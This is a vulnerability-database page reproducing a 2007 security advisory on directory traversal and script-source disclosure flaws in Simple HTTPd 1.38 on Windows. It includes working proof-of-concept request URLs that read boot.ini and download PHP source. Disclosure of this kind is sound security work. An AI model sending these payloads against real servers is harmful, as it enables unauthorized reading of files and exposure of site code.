Lucene search

K

Simple HTTPd 1.38 - Multiple Vulnerabilities

🗓️ 07 Dec 2007 00:00:00Reported by Luigi AuriemmaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 26 Views

Simple HTTPd 1.38 vulnerabilities in Window

Show more
Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2007-6404
17 Dec 200718:46
cve
CVE
CVE-2007-6405
17 Dec 200718:46
cve
Prion
Directory traversal
17 Dec 200718:46
prion
Prion
Code injection
17 Dec 200718:46
prion
NVD
CVE-2007-6404
17 Dec 200718:46
nvd
NVD
CVE-2007-6405
17 Dec 200718:46
nvd
Cvelist
CVE-2007-6404
17 Dec 200718:00
cvelist
Cvelist
CVE-2007-6405
17 Dec 200718:00
cvelist
#######################################################################

                             Luigi Auriemma

Application:  Simple HTTPD
              http://shttpd.sourceforge.net
Versions:     <= 1.38
Platforms:    Windows, *nix, QNX, RTEMS
              only Windows seems vulnerable
Bugs:         A] directory traversal
              B] scripts and CGI viewing/downloading
                 (%20 char found by Shay priel in Jun 2007)
Exploitation: remote
Date:         07 Dec 2007
Author:       Luigi Auriemma
              e-mail: [email protected]
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bugs
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


Simple HTTPD (shttpd) is an open source web server created for embedded
systems.


#######################################################################

=======
2) Bugs
=======

----------------------
A] directory traversal
----------------------

Using the "..\" pattern is possible to download any file in the disk on
which is located the web root directory.


--------------------------------------
B] scripts and CGI viewing/downloading
--------------------------------------

Any script or CGI in the server can be viewed/downloaded instead of
being executed simply appending the chars '+', '.', %20 (this one
reported by Shay priel in the summer 2007), %2e and any other byte (in
hex format too) major than 0x7f to the requested filename.


Note that only Windows seems vulnerable to the above bugs.


#######################################################################

===========
3) The Code
===========


A]
http://SERVER/..\..\..\boot.ini
http://SERVER/..\%2e%2e%5c..\boot.ini

B]
http://SERVER/file.php+
http://SERVER/file.php.
http://SERVER/file.php%80
http://SERVER/file.php%ff


#######################################################################

======
4) Fix
======


I have posted the problems in the shttpd-general mailing-list but there
is no reply yet:

  http://sourceforge.net/mailarchive/forum.php?forum_name=shttpd-general


#######################################################################


--- 
Luigi Auriemma
http://aluigi.org

# milw0rm.com [2007-12-07]

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo